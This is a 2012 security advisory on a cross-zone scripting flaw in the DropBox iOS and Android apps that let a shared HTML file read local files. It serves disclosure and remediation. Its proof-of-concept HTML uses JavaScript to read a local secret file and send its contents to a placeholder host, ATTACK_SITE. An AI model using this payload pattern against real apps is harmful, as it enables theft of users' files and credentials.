DropBox Cross-zone Scripting

A security advisory

Roi Saltzman, roisaltzman@gmail.com
Application Security Research Group, IBM Security

October 18, 2012

1 Abstract

This paper covers a dangerous vulnerability in the DropBox iOS and Android mobile apps, that existed in versions 1.4.6 and 2.0.1 respectively. An attacker could steal arbitrary files from a DropBox user by tricking him into viewing a malicious HTML file inside the DropBox mobile apps. By abusing the way in which the DropBox apps render HTML files, an attacker could bypass Same Origin Policy restrictions and read files that are accessible to the app itself, including sensitive user content and application configuration.

2 Background

According to Wikipedia[1], Cross-zone scripting is "a browser exploit taking advantage of a vulnerability within a zone-based security solution. The attack allows content (scripts) in unprivileged zones to be executed with the permissions of a privileged zone - i.e. a privilege escalation within the client (web browser) executing the script".

In the vulnerability illustrated below, content that originates from an "Internet" zone (i.e. unprivileged zone) is executed under the "Local" zone (i.e. privileged zone).

3 Vulnerability Description

A significant feature of the DropBox apps is allowing a user to view either his files or files shared with him. The DropBox apps achieve this by using an embedded browser (using the UIWebView class) to display the contents of these files. Amongst numerous file types, the DropBox apps allow the user to view HTML files in a rendered format. To do this, the DropBox apps use an embedded browser window to render the locally stored HTML file. The method with which the DropBox apps render an HTML file has two side effects:

- JavaScript code contained in the HTML file is automatically executed

[1] http://en.wikipedia.org/wiki/Cross-zone_scripting.

- The HTML content is loaded in a privileged "file" zone, as opposed to an unprivileged HTTP location.

Execution of malicious JavaScript code allows an attacker to steal potentially valuable information from the DOM of the embedded browser, an attack dubbed "Cross-Application Scripting" (XAS). However, because the DropBox apps load the HTML file from a privileged zone[2] this malicious JavaScript can also access the file system with the same permissions as the DropBox apps.

4 Attack Vector

In order for the attack to succeed, the victim must view a malicious HTML file. An attacker can achieve this in one of two ways:

1. Share an HTML file which containing malicious JavaScript with the user.
2. Peform a Man-in-the-Middle (MitM) attack on the user's mobile device (enables the attacker to inject JavaScript code into documents as they are downloaded to the device).

5 Impact

By exploiting this vulnerability an attacker could read and retrieve files that the apps themselves can access. For instance, previously cached files, application configuration files, the device's address book, etc.

Furthermore, additional access is available per OS:

- In iOS, read access to the user's DropBox credentials exists (../Library/Preferences/com.getdropbox.Dropbox.plist). Having access to the user's credentials allows the attacker to retrieve arbitrary files from the user's account and persist the attack by modifying other HTML files.
- In Android, access to files with global read permission stored on the device's SD card.

Once the HTML file is rendered, the JavaScript code executes immediately. However, when the user has finished viewing the file, code execution is suspended until the user views the file again.

6 Proof-of-Concept

The following is a PoC illustrates a malicious HTML file that steals a secret file from the user's DropBox account (iOS Version):

```
<html>
    <head>
        <title>Malicious HTML File!</title>
    </head>
```

[2]Such as "file:///var/mobile/Applications/APP_UUID/Library/Caches/Dropbox/Other/maliciousfile.html".

```
    <body>
        <script>
            function readDropBoxFileiOS(fileName) {
                // Create a new XHR Object
                x = new XMLHttpRequest();
                // When file content is available, send it back
                x.onreadystatechange = function () {
                    if (x.readyState == 4) {
                        x2 = new XMLHttpRequest();
                        x2.onreadystatechange = function () {};
                        // x.responseText contains the content of fileName
                        // which we'll send back to ATTACK_SITE
                        x2.open("GET", "http://ATTACK_SITE/?file_content=" +
                            encodeURI(x.responseText));
                        x2.send();
                    }
                }

                // Try to read the content of the specified file
                x.open("GET", fileName);
                x.send();
            };

            // Reads the a secret file from the user's local cache
            readDropBoxFileiOS("file:///var/mobile/Applications/APP_UUID/
               Library/Caches/Dropbox/Secrets/secret.txt");
        </script>
        <h1>This malicious file will now leak a secret file!</h1>
    </body>
</html>
```

Listing 1: Example of a malicious HTML file stealing a users's file

An attacker could use the same principle to craft a similar HTML file designed to steal different information from a DropBox user.

7 Remediation

The vulnerability stems from the two side-effects of rendering unreliable HTML files in a privileged zone. There are two possible solutions that can mitigate this issue entirely:

- Disabling execution of JavaScript code while rendering untrusted HTML files.
- Loading the file from a less privileged location such as HTTP (i.e. http://web-dl.dropbox.com)